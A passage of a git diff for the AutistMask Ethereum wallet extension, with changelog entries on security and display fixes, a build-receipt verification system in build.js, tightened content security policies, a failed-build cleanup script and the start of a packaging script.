@@ -44,6 +45,213 @@ but the review is broader than any of them.
 
 # Completed Steps
 
+- 2026-08-23: The swap approval screen no longer guesses 18 decimals for a token
+  outside the bundled list
+  ([#340](https://git.eeqj.de/sneak/AutistMask/issues/340)). `tokenInfo()` in
+  `src/shared/uniswap.js` returned `decimals: 18` for any such token — the same
+  assumption [#306](https://git.eeqj.de/sneak/AutistMask/issues/306) removed
+  from the ERC-20 amount line — so a 1,000-unit swap of a 6-decimal token was
+  stated as `0.000000001`, and every newly listed token reached it. The swap's
+  `Amount` and `Min. received` lines now resolve the scale through
+  `resolveTokenDecimals()`, the same bundled-list-then-tracked-then-explorer
+  order the ERC-20 line uses, and where nothing knows it they render
+  `unknownDecimalsAmount()` — base units with the scale stated — instead of a
+  number. No new data source and no network call: the scale comes only from what
+  the wallet already holds. An unbounded permit is still shown as `Unlimited`.
+  `README.md` records the rule as a Display Consistency exception.
+- 2026-08-23: A failed release build no longer leaves a loadable debug bundle in
+  `dist/` ([#333](https://git.eeqj.de/sneak/AutistMask/issues/333)). With
+  `AUTISTMASK_DEBUG=1` exported, `make build` compiled a debug bundle and failed
+  on it in `script/verify-build` — but the bundle stayed on disk, loadable, with
+  every wallet it creates using the publicly committed test recovery phrase.
+  Every step of `make build` now runs through `script/discard-dist-on-failure`,
+  which removes `dist/` when a step fails and says on stderr that it did and
+  why; a removal it cannot complete is reported just as loudly.
+  `make build-debug` is deliberately not wrapped: its output is not mistakable
+  for a release build and is the evidence of the failure.
+  `script/test-verify-build` asserts the state of `dist/` on disk after a
+  failing and a succeeding step, not just the exit status, and reads `make -n`
+  to check the wrapper is on the release path and only there.
+- 2026-08-23: `README.md` and `script/verify-build`'s own comments now state the
+  emitted-tree guarantee at the width the code actually enforces
+  ([#331](https://git.eeqj.de/sneak/AutistMask/issues/331)). The tree walk is
+  `-type f -o -type l`, so the guarantee covers regular files and symlinks under
+  `dist/`; fifos, sockets, device nodes and empty directories are not checked,
+  because a build emits none of them, none can carry a shippable payload, and
+  `grep` on a fifo would hang rather than fail. The exclusion is deliberate and
+  unchanged — the README said "nothing under `dist/` that the build did not
+  write", which was broader than that. Documentation only; no executable line
+  changed.
+- 2026-08-23: An amount below the 4-decimal display floor no longer reads as
+  zero on the approval screens
+  ([#322](https://git.eeqj.de/sneak/AutistMask/issues/322)). With the token's
+  true scale resolved, the 4-decimal truncation still printed a small amount as
+  `0.0000` — 1 base unit of an 18-decimal token, 500 of an 8-decimal one — so a
+  real transfer, allowance or swap was stated as nothing on the one screen whose
+  job is to say what is being authorized, and a swap's `Min. received` claimed
+  the user might receive nothing. Three copies of that truncation existed; they
+  now share `src/shared/amountDisplay.js`. Everything the approval and
+  confirmation screens render (`src/popup/views/approval.js`,
+  `src/shared/uniswap.js`) extends to the first significant digit when the
+  truncated figure would otherwise read as zero, keeping the amount in token
+  units rather than switching to base units mid-line. The history and balance
+  lists (`src/shared/transactions.js`) keep the unfloored rule, which is out of
+  scope by the issue's definition of done. `README.md`'s Display Consistency
+  section records the exception.
+- 2026-08-23: The extension can be installed once and kept
+  ([#310](https://git.eeqj.de/sneak/AutistMask/issues/310)). There was no
+  packaging target anywhere, no artifact, and `manifest/chrome.json` carried no
+  `key` — so an unpacked Chrome load derived its extension id, and therefore its
+  `chrome.storage.local` partition, from the absolute checkout path: moving or
+  re-cloning the checkout presented an empty wallet with no error. The manifest
+  now carries a fixed `key` (public half only; the private half is a credential
+  and is not in this repo, and no target generates one into the tree), pinning
+  the id to `gipbhkogfopeahplcjhipkgpcimdpkip`. `make package` produces
+  `release/autistmask-chrome-<version>.zip` and
+  `release/autistmask-firefox-<version>.xpi` plus `SHA256SUMS`,
+  deterministically and via `make build` so the archives can only be made from a
+  `dist/` already verified against that build's receipt as a release build;
+  every path the manifests and the popup HTML reference is resolved and required
+  to be inside the archive, and the archive is read back off disk and compared
+  member by member — `dist/styles.css` sits at the `dist/` root outside both
+  browser directories and is reported as deliberately not shipped rather than
+  dropped by a glob. One version: `script/lib/version.js` fails the build when
+  `package.json` and the two manifests disagree, instead of reading from one of
+  them. `BUILD_COMMIT` now carries `-dirty` when the working tree does not match
+  `HEAD` (and `-unknown` when git cannot say), while the full hash behind the
+  About screen's commit link stays clean so the link still resolves. Two real
+  browser observations back it: `tests/e2e/storagePartition.js` loads the
+  extension from two different paths in one Chrome profile with and without
+  `key` and records what each does, and `tests/e2e/firefox/reinstall.js`
+  installs the packaged XPI in a real Firefox, creates a wallet, restarts the
+  browser on the same profile, adds the add-on again and decrypts the vault back
+  to the original recovery phrase — and then observes that an explicit uninstall
+  DESTROYS that storage, which is correct browser behaviour but means Remove is
+  irreversible for a wallet, now stated in README.md. Deliberately not done: AMO
+  signing, CRX packing, tagging and any upload — the Firefox artifact is
+  UNSIGNED and README.md now states that release Firefox and ESR refuse it, that
+  Developer Edition or an Unbranded build is required, and that a temporary
+  add-on does not survive a browser restart.
+- 2026-08-20: A second extension page can no longer silently delete a wallet
+  ([#304](https://git.eeqj.de/sneak/AutistMask/issues/304)). `saveState()` wrote
+  the entire state blob, and every extension page — the toolbar popup, a dApp
+  approval window, `backgroundRefresh()` — holds its own in-memory `state`,
+  loaded once, with `showView()` saving on every navigation; a second page that
+  saved after a first had written something new overwrote it, no attacker or
+  unusual input required. `saveState()` is now a read-modify-write: it re-reads
+  storage, diffs the persisted fields against a deep-cloned `baseline` snapshot
+  taken at the last `loadState()`/`saveState()` on that page, and writes only
+  the fields that actually changed — everything else is carried forward from
+  storage in its loaded-and-normalized shape (`normalizePersisted()`, shared
+  with `loadState()`), so a legacy or malformed record a load has always
+  self-healed in memory keeps getting written back even on a save that touched
+  something else entirely. `showView()` fires `saveState()` on every navigation
+  without awaiting it, so two saves from the same page can be in flight at once;
+  a FIFO queue serializes them rather than letting a slow one finish after a
+  later one and re-derive a stale answer. Deliberately not done: the live
+  `state` of a field this page does not own is not rehydrated from what another
+  page wrote, only the persisted record is — adopting a concurrently-written
+  value into `state` reintroduced the same clobber one page later, caught by
+  `tests/txStatus.test.js` red. Two writers of the same field still resolve
+  last-writer-wins, documented at the merge point. `tests/stateMerge.test.js`
+  covers the two-page save and the approval-window reproduction from the issue —
+  add a wallet in one page, force a save from a second page loaded before it,
+  both wallets survive — each demonstrated failing against the unfixed full-blob
+  write.
+- 2026-08-20: A forgotten password no longer wedges the wallet
+  ([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
+  was password-gated and importing its recovery phrase again was refused as a
+  duplicate xpub, so a user who had the phrase but not the password could
+  neither leave nor come back: the only way out was clearing extension storage
+  through browser internals, which takes every other wallet with it.
+  DeleteWallet now offers "I have lost my password", a screen that destroys the
+  wallet after the user types its name back — no password, because requiring one
+  to _discard_ a secret protects nobody. An attacker at the popup who wants the
+  wallet gone can uninstall the extension; the only person such a gate stopped
+  was the owner who forgot it. That was chosen over allowing a duplicate xpub to
+  re-encrypt in place: re-import would have had to be built three times over
+  (`hd` and `xprv` by xpub, `key` by address), would make the user retype the
+  recovery phrase into a live popup to change a password, and reaches no state
+  that delete-then-import does not already reach through `scanForAddresses()`.
+  Both routes share one `finishDelete()`, so the selection repair, the
+  site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
+  diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS` —
+  a popup reopened by accident must not land on a button that erases key
+  material. AddWallet's password hint now says, per import mode, that the
+  password cannot be recovered or reset and what the only backup is; the hint
+  line reserves its height so switching tabs cannot move the password fields.
+  The test drives the real view against a `chrome.storage.local` stub that
+  structured-clones on both `set` and `get` and asserts against the read-back,
+  so it fails on the deletion of `saveState()` and not only on an in-memory
+  splice.
+- 2026-08-20: `make build` can no longer hand back a debug build, and
+  `script/verify-build` can no longer be satisfied by bytes the build did not
+  produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
+  verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
+  environment, so an operator with that exported who ran the release target got
+  a debug bundle — every wallet it creates carrying the publicly committed test
+  phrase — certified green at exit 0. The expected mode is now the required
+  argument `--expect release|debug`, with no default and nothing read from the
+  environment, and the `Makefile` scrubs the flag from the verifier while
+  deliberately leaving it reaching the compiler, so that shell fails the build
+  loudly instead of quietly getting something other than what it asked for.
+  Provenance was the other half: the check was a marker grep over a file list
+  read back out of `dist/`, so a 26-byte file containing only
+  `autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
+  script that runs on every page were never read at all, and an entire
+  hand-written `dist/` passed. `build.js` now records every file it emits, with
+  its sha256 and whether it is one of the bundles containing `constants.js`,
+  into a receipt whose path the `Makefile` makes fresh per invocation outside
+  the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
+  `dist/` is cleared before a build so it holds only what that build wrote. The
+  standalone `make verify-build` target went with it: re-verifying a `dist/`
+  from the `dist/` itself is the thing that was broken. What this establishes is
+  narrow and stated as such in README.md — `dist/` is byte for byte the output
+  of the `build.js` run that just finished — and it is not signing, which is
+  [#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
+  `script/test-verify-build` grew from 18 cases to 39, including one per
+  demonstrated bypass and the `make -n` read-back that proves the recipes pass
+  the mode as an argument.
+- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
+  popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
+  symbol is whatever the contract's `symbol()` returns, the block explorer
+  passes it through unfiltered, and `balanceLine()` interpolated it into an
+  `innerHTML` string — so a token with the 1,000 holders the spam filter asks
+  for, airdropped to the victim, could paint a full-viewport cross-origin iframe
+  over the wallet's own UI, on the screens where the user types their password.
+  `escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
+  `<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
+  element's `textContent`, which does not escape quotes, and it was already
+  being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
+  string across `src/popup/views/` was audited, not just the reported one — the
+  transaction lists' direction label, the wallet name and ENS name in the Home
+  list, the `href` in the explorer link, and the confirmation screen's warning
+  line were all unescaped as well. Both manifests now declare
+  `default-src 'self'` with `frame-src 'none'`; the four directives that had to
+  stay looser than `'self'` are named and justified in the Content Security
+  Policy section of README.md, and `tests/manifest.test.js` pins the whole set
+  exactly. A display cap of 12 characters bounds the symbol, matching the bound
+  `lookupTokenInfo()` already applied on the contract-read path. Not repurposed
+  for any of this: `isSpoofedSymbol()`, which answers a different question and
+  would have been the wrong control.
+- 2026-08-20: A page asking which chain the wallet is on is told the chain the
+  user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
+  `eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
+  the module-level `state` singleton that nothing populates at module scope, so
+  a service worker revived by the page's own message answered out of
+  `DEFAULT_STATE` and reported mainnet `0x1`/`1` to a user on Sepolia — a dApp
+  building its interaction for the wrong chain. Both now answer from
+  `getState()`, the per-call detached storage read the other read handlers use,
+  rather than from the singleton: these two are reachable by any page on every
+  provider init, and mutating the shared singleton on that path would detach the
+  wallet objects an in-flight `backgroundRefresh()` is mutating. The read side
+  of the background was audited with it: the remaining singleton reads are the
+  chain switch, the transaction verification path and `backgroundRefresh`, which
+  each already load, and everything else answers from storage per call through
+  `getState()`. One stale read is left named but unfixed, outside this issue's
+  scope: `handleSendTransaction` builds its provider with no network name, so
+  `getProvider()` falls back to the same unloaded singleton for ethers' static
+  network hint.
 - 2026-08-20: The dApp approval screen no longer shows a token transfer it
   cannot scale as `0.0000`
   ([#306](https://git.eeqj.de/sneak/AutistMask/issues/306)). `decodeCalldata`

build.js

@@ -1,19 +1,38 @@
 const fs = require("fs");
 const path = require("path");
+const crypto = require("crypto");
 const { execSync } = require("child_process");
 const esbuild = require("esbuild");
+const { resolveVersion } = require("./script/lib/version");
 
 const DIST = path.join(__dirname, "dist");
 const DIST_CHROME = path.join(DIST, "chrome");
 const DIST_FIREFOX = path.join(DIST, "firefox");
 const SRC = path.join(__dirname, "src");
 
-// The module whose compiled DEBUG state script/verify-build asserts, and the
-// manifest naming every emitted bundle that ends up containing it. The
-// manifest is derived from esbuild's own dependency graph rather than from a
-// hardcoded list, so it tracks the bundle layout instead of rotting with it.
+// The module whose compiled DEBUG state script/verify-build asserts. Which
+// bundles contain it is derived from esbuild's own dependency graph rather
+// than from a hardcoded list, so it tracks the bundle layout instead of
+// rotting with it.
 const AUDITED_MODULE = "src/shared/constants.js";
-const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
+
+// The build receipt: every file this build emits, with its sha256 and whether
+// it is one of the audited bundles. script/verify-build is handed this and
+// checks dist/ against it, so the file list comes from the build that just ran
+// rather than being read back out of the tree it is supposed to vouch for.
+//
+// The path is supplied by the caller, not chosen here, and the Makefile makes
+// a fresh one per invocation outside the repo: that is what ties a receipt to
+// one build rather than leaving a standing file anyone can write.
+const RECEIPT_HEADER = "autistmask-build-receipt v1";
+const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
+
+// Every emitted path must be plainly nameable, because the receipt is a
+// line-oriented text file consumed by a POSIX shell script and a path with a
+// space or a newline in it could not be read back unambiguously. Nothing this
+// build emits looks like that; if that ever changes, the build fails here
+// rather than writing a receipt that cannot be checked.
+const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
 
 function ensureDir(dir) {
     fs.mkdirSync(dir, { recursive: true });
@@ -31,10 +50,10 @@ function repoRelative(p) {
 // searching the minified text, it does not depend on what survived minification.
 //
 // The ".js" filter below is the only place that assumption lives:
-// script/verify-build searches every file and symlink under dist/ for a
-// marker, without filtering by extension, and hard-fails if it cannot walk the
-// whole tree, so a bundle emitted under some other extension fails there as
-// unlisted rather than escaping both checks at once.
+// script/verify-build reads every file the receipt names, whatever its
+// extension, and fails on any that carries a debug marker without being
+// recorded as an audited bundle — so a bundle emitted under some other
+// extension fails there rather than escaping both checks at once.
 function outputsContainingAuditedModule(metafile) {
     return Object.entries(metafile.outputs)
         .filter(([outFile, info]) => {
@@ -46,6 +65,94 @@ function outputsContainingAuditedModule(metafile) {
         .map(([outFile]) => repoRelative(outFile));
 }
 
+// Every file this build writes under dist/, recorded as it is written. This is
+// the build's own account of what it emitted; it is never recovered by
+// listing dist/, because a file that is in dist/ without this build having put
+// it there is exactly what the receipt exists to expose.
+const emittedFiles = [];
+
+function recordEmitted(absPath) {
+    emittedFiles.push(absPath);
+}
+
+// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
+// CLI record their outputs where they are invoked.
+function copyEmitted(src, dest) {
+    fs.copyFileSync(src, dest);
+    recordEmitted(dest);
+}
+
+function sha256File(absPath) {
+    return crypto
+        .createHash("sha256")
+        .update(fs.readFileSync(absPath))
+        .digest("hex");
+}
+
+// Write the receipt for the files this build emitted. Deliberately records no
+// build mode: which mode was asked for is script/verify-build's argument, so
+// build.js cannot vouch for build.js. All the receipt says is "these bytes,
+// under these names, are what I wrote, and these ones bundle constants.js".
+function writeReceipt(receiptPath, auditedBundles) {
+    const audited = new Set(auditedBundles);
+    const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
+
+    for (const p of paths) {
+        if (!SAFE_EMITTED_PATH.test(p)) {
+            throw new Error(
+                `emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
+            );
+        }
+    }
+
+    // A bundle esbuild reported but that nothing recorded as emitted means the
+    // two halves have drifted apart, and the receipt would then leave an
+    // audited bundle out. Fail rather than emit a short receipt.
+    for (const bundle of audited) {
+        if (!paths.includes(bundle)) {
+            throw new Error(
+                `${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
+            );
+        }
+    }
+    if (audited.size === 0) {
+        throw new Error(
+            `no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
+        );
+    }
+
+    const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
+    for (const p of paths) {
+        const flag = audited.has(p) ? "A" : "P";
+        lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
+    }
+    fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
+
+    console.log(
+        `Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
+            `containing ${AUDITED_MODULE} (${receiptPath})`,
+    );
+}
+
+// Where the receipt goes, decided before anything is emitted so a build that
+// cannot produce a checkable receipt fails before it writes any artifacts.
+// Inside dist/ is refused: a receipt that lives in the tree it describes can
+// be rewritten by whoever rewrites the tree, which is the hole this replaces.
+function receiptTarget() {
+    const requested = process.env[RECEIPT_ENV];
+    if (!requested) {
+        return null;
+    }
+    const resolved = path.resolve(requested);
+    if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
+        throw new Error(
+            `${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
+                `describes dist/ and must not live in it.`,
+        );
+    }
+    return resolved;
+}
+
 // DEBUG is a build-time flag, off unless explicitly requested. It is the only
 // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
 // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -54,28 +161,53 @@ function isDebugBuild() {
     return process.env.AUTISTMASK_DEBUG === "1";
 }
 
+// A short git output, or null when git cannot answer. Distinguishing "git said
+// nothing" from "git could not be asked" matters below: a working tree whose
+// state is unknown must not be stamped as clean.
+function git(args) {
+    try {
+        return execSync(`git ${args}`, {
+            encoding: "utf8",
+            stdio: ["ignore", "pipe", "ignore"],
+        }).trim();
+    } catch {
+        // not a git repo, or git not available
+        return null;
+    }
+}
+
+// The working-tree state, as a suffix for the displayed commit: "" when the
+// tree matches HEAD, "-dirty" when it does not, "-unknown" when git answered
+// the hash but not the status. Without this a build from a modified tree
+// stamped a clean hash, so the About screen named a commit whose contents were
+// not what was running — the one thing that stamp exists to establish.
+//
+// git status --porcelain honours .gitignore, so dist/ and node_modules/ do not
+// make every build dirty; an untracked file that is NOT ignored does, and
+// correctly: it may well be in the bundle.
+function worktreeSuffix() {
+    const status = git("status --porcelain");
+    if (status === null) return "-unknown";
+    return status === "" ? "" : "-dirty";
+}
+
 function getBuildInfo() {
     const pkg = JSON.parse(
         fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
     );
-    let commitHash = "unknown";
-    try {
-        commitHash = execSync("git rev-parse --short HEAD", {
-            encoding: "utf8",
-        }).trim();
-    } catch {
-        // not a git repo or git not available
-    }
-    let commitHashFull = "unknown";
-    try {
-        commitHashFull = execSync("git rev-parse HEAD", {
-            encoding: "utf8",
-        }).trim();
-    } catch {
-        // not a git repo or git not available
-    }
+    const commitHashFull = git("rev-parse HEAD") || "unknown";
+    const shortHash = git("rev-parse --short HEAD") || "unknown";
+    // The full hash is left clean because it is the href of the commit link in
+    // the About screen, and "abc123-dirty" is not a commit anyone can fetch.
+    // The displayed short hash carries the marker, so the screen says the tree
+    // was modified while still linking somewhere real.
+    const commitHash =
+        shortHash === "unknown" ? shortHash : shortHash + worktreeSuffix();
     return {
-        version: pkg.version,
+        // Fails the build when package.json and the two manifests disagree;
+        // see script/lib/version.js. Called before anything is emitted, so a
+        // tree with no single version never reaches dist/.
+        version: resolveVersion(__dirname),
         license: pkg.license,
         author: pkg.author,
         commitHash,
@@ -87,6 +219,15 @@ function getBuildInfo() {
 async function build() {
     console.log("Building AutistMask extension...");
 
+    const receiptPath = receiptTarget();
+    if (!receiptPath) {
+        console.warn(
+            `WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
+                `receipt and script/verify-build cannot verify what it ` +
+                `emitted. Build through make build / make build-debug.`,
+        );
+    }
+
     const buildInfo = getBuildInfo();
     console.log("Build info:", buildInfo);
 
@@ -108,19 +249,21 @@ async function build() {
     };
 
     // Emitted bundles that contain constants.js, accumulated across every
-    // esbuild run below and written out for script/verify-build.
+    // esbuild run below and recorded in the receipt for script/verify-build.
     const auditedBundles = [];
 
     // compile tailwind CSS
     console.log("Compiling Tailwind CSS...");
     const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
     const tailwindOutput = path.join(DIST, "styles.css");
+
+    // Start from an empty dist/, so what is there afterwards is what this
+    // build put there and nothing else. Leftovers from an earlier build are
+    // not covered by this build's receipt, and script/verify-build rejects
+    // any file it did not emit rather than ignoring it.
+    fs.rmSync(DIST, { recursive: true, force: true });
     ensureDir(DIST);
 
-    // Drop any manifest from a previous build before emitting anything, so a
-    // build that never gets around to writing one cannot be verified against
-    // a stale list.
-    fs.rmSync(BUNDLE_MANIFEST, { force: true });
     // The locally installed binary, not `npx` — npx silently fetches from the
     // registry when the binary is absent, which is an unpinned network fetch
     // in the middle of a build.
@@ -134,6 +277,7 @@ async function build() {
         `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
         { stdio: "inherit" },
     );
+    recordEmitted(tailwindOutput);
 
     // Every bundle goes through here, so metafile collection cannot be
     // forgotten when a new entry point is added.
@@ -149,6 +293,7 @@ async function build() {
             metafile: true,
             define,
         });
+        recordEmitted(outfile);
         auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
     }
 
@@ -182,39 +327,39 @@ async function build() {
         );
 
         // copy popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             path.join(SRC, "popup", "index.html"),
             path.join(distDir, "src", "popup", "index.html"),
         );
 
         // place compiled CSS next to popup HTML
-        fs.copyFileSync(
+        copyEmitted(
             tailwindOutput,
             path.join(distDir, "src", "popup", "styles.css"),
         );
     }
 
     // copy manifests
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "chrome.json"),
         path.join(DIST_CHROME, "manifest.json"),
     );
-    fs.copyFileSync(
+    copyEmitted(
         path.join(__dirname, "manifest", "firefox.json"),
         path.join(DIST_FIREFOX, "manifest.json"),
     );
 
-    // Written last so a build that died partway through leaves no manifest
-    // at all, which script/verify-build treats as a hard failure rather than
-    // as "nothing to check".
-    const manifest = [...new Set(auditedBundles)].sort();
-    fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
-    console.log(
-        `Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
-            `(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
-    );
+    // Written last so a build that died partway through leaves no receipt at
+    // all, which script/verify-build treats as a hard failure rather than as
+    // "nothing to check".
+    if (receiptPath) {
+        writeReceipt(receiptPath, auditedBundles);
+    }
 
     console.log("Build complete: dist/chrome/ and dist/firefox/");
 }
 
-build();
+build().catch((err) => {
+    console.error(`Build failed: ${err && err.message ? err.message : err}`);
+    process.exit(1);
+});

manifest/chrome.json

@@ -3,10 +3,11 @@
     "name": "AutistMask",
     "version": "0.1.0",
     "description": "Minimal Ethereum wallet for Chrome",
+    "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUUYzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kLWoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB",
     "permissions": ["storage", "activeTab", "alarms"],
     "host_permissions": ["<all_urls>"],
     "content_security_policy": {
-        "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
+        "extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
     },
     "action": {
         "default_popup": "src/popup/index.html"

manifest/firefox.json

@@ -4,7 +4,7 @@
     "version": "0.1.0",
     "description": "Minimal Ethereum wallet for Firefox",
     "permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
-    "content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
+    "content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
     "browser_action": {
         "default_popup": "src/popup/index.html"
     },

script/discard-dist-on-failure

@@ -0,0 +1,78 @@
+#!/bin/sh
+# script/discard-dist-on-failure: run one step of the RELEASE build, and if that
+# step fails, remove dist/ before returning its exit status. Our own extension
+# to scripts-to-rule-them-all, wrapped around every step of make build.
+#
+# Why: with AUTISTMASK_DEBUG=1 exported in the calling shell, make build
+# compiles a debug bundle and then fails on it in script/verify-build — but the
+# bundle is already written. It is loadable, and every wallet it creates gets
+# the publicly committed test recovery phrase from src/shared/constants.js. A
+# failed release build that leaves that behind is a smaller version of the trap
+# the verifier exists to close, and "the failure was loud" only works on an
+# operator who does not load dist/chrome/ anyway. Removing the artifact does not
+# depend on that.
+#
+# Two things this deliberately does not do. It does not wrap make build-debug: a
+# debug build that failed is not a mistakable artifact, and its output is the
+# evidence of what went wrong. And it never removes anything on a step that
+# SUCCEEDS, including the final check-censored --require-dist pass.
+#
+# The removal is never silent: it says dist/ is gone and why, on stderr, above
+# the build's own failure.
+set -eu
+
+ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
+DIST="$ROOT/dist"
+
+usage() {
+    echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
+}
+
+# Remove dist/, and say so. A removal that could not be completed is reported as
+# loudly as one that was: the artifact is still on disk, and reporting nothing
+# would leave the operator believing it is not.
+discard_dist() {
+    if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
+        echo "discard-dist-on-failure: the release build failed. There was no" \
+            "dist/ to remove." >&2
+        return 0
+    fi
+
+    rm -rf "$DIST" || true
+
+    if [ -e "$DIST" ] || [ -h "$DIST" ]; then
+        echo "discard-dist-on-failure: the release build failed and dist/" \
+            "COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
+            "a release build that failed may hold a complete debug bundle," \
+            "whose wallets all use the publicly committed test recovery" \
+            "phrase. Remove it by hand (make clean)." >&2
+        return 0
+    fi
+
+    echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
+        "REMOVED and no longer exists. A release build that fails has often" \
+        "already emitted a complete, loadable debug bundle — every wallet it" \
+        "creates gets the publicly committed test recovery phrase — so the" \
+        "failed build is not left behind to be loaded. Fix the failure and" \
+        "re-run make build, or run make build-debug if a debug build is what" \
+        "was wanted; that target keeps its output." >&2
+}
+
+main() {
+    [ "$#" -ge 1 ] || {
+        usage
+        echo "discard-dist-on-failure: no command given, so no build step ran" \
+            "and nothing was removed." >&2
+        exit 1
+    }
+
+    _status=0
+    "$@" || _status=$?
+
+    [ "$_status" -ne 0 ] || return 0
+
+    discard_dist
+    exit "$_status"
+}
+
+main "$@"

script/lib/package.js

@@ -0,0 +1,294 @@
+// Turn a verified dist/ into the two distributable archives.
+//
+// Invoked by script/package, which runs `make build` first so that dist/ has
+// already been checked against the build's own receipt (see the Build Receipts
+// section of README.md). This program does not build anything and does not
+// write into dist/: it reads the emitted tree and writes release/.
+//
+//   release/autistmask-chrome-<version>.zip   loaded via chrome://extensions
+//   release/autistmask-firefox-<version>.xpi  an UNSIGNED add-on, see README
+//   release/SHA256SUMS
+//
+// Self-containment is checked rather than assumed, because the layout invites
+// exactly one mistake: build.js emits dist/styles.css at the dist/ ROOT,
+// outside both browser directories, and copies it into each of them as
+// src/popup/styles.css. A naive `zip -r dist/chrome` is therefore correct only
+// by accident, and would stop being correct the moment a reference pointed up
+// and out. So every path the manifest and the popup HTML reference is resolved
+// and required to be inside the archive, a reference that escapes the browser
+// directory is a hard failure, and anything sitting at the dist/ root is
+// listed as deliberately not shipped rather than silently dropped.
+//
+// The archive is then read back and compared byte for byte against the
+// directory it was built from. An archive nobody opened is a claim, not an
+// artifact.
+
+"use strict";
+
+const crypto = require("crypto");
+const fs = require("fs");
+const path = require("path");
+
+const { readZip, writeZip } = require("./zip");
+const { resolveVersion } = require("./version");
+
+const ROOT = path.resolve(__dirname, "..", "..");
+const DIST = path.join(ROOT, "dist");
+const RELEASE = path.join(ROOT, "release");
+
+const TARGETS = [
+    { dir: "chrome", ext: "zip" },
+    // .xpi rather than .zip: it is the same container, but Firefox's install
+    // flow keys off the extension.
+    { dir: "firefox", ext: "xpi" },
+];
+
+// Strings in a manifest that name a file the extension loads. Matched by
+// shape, not by a list of manifest keys, so a key added in a later manifest
+// version is covered the day it appears rather than the day someone remembers
+// to extend a list here. Nothing else in either manifest looks like this: the
+// CSP strings, "<all_urls>", the version and the base64 key all fail it.
+const MANIFEST_PATH_RE =
+    /^[A-Za-z0-9._][A-Za-z0-9._/-]*\.(?:js|css|html|json|png|svg|woff2?)$/;
+
+// Local references out of an HTML document. Enough for what this repo emits —
+// one stylesheet link and one script tag — and anything it does not understand
+// is reported rather than passed over, see htmlReferences().
+const HTML_REF_RE = /(?:src|href)\s*=\s*["']([^"']+)["']/gi;
+
+function fail(message) {
+    throw new Error(message);
+}
+
+function sha256(buf) {
+    return crypto.createHash("sha256").update(buf).digest("hex");
+}
+
+// Every regular file under dir, as archive-root-relative forward-slashed
+// paths. A symlink is refused rather than followed: build.js emits regular
+// files only, so a link under dist/ is not something the build produced, and
+// dereferencing one would put bytes from outside dist/ into the artifact.
+function listFiles(dir, prefix = "") {
+    const out = [];
+    for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
+        const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
+        if (entry.isSymbolicLink()) {
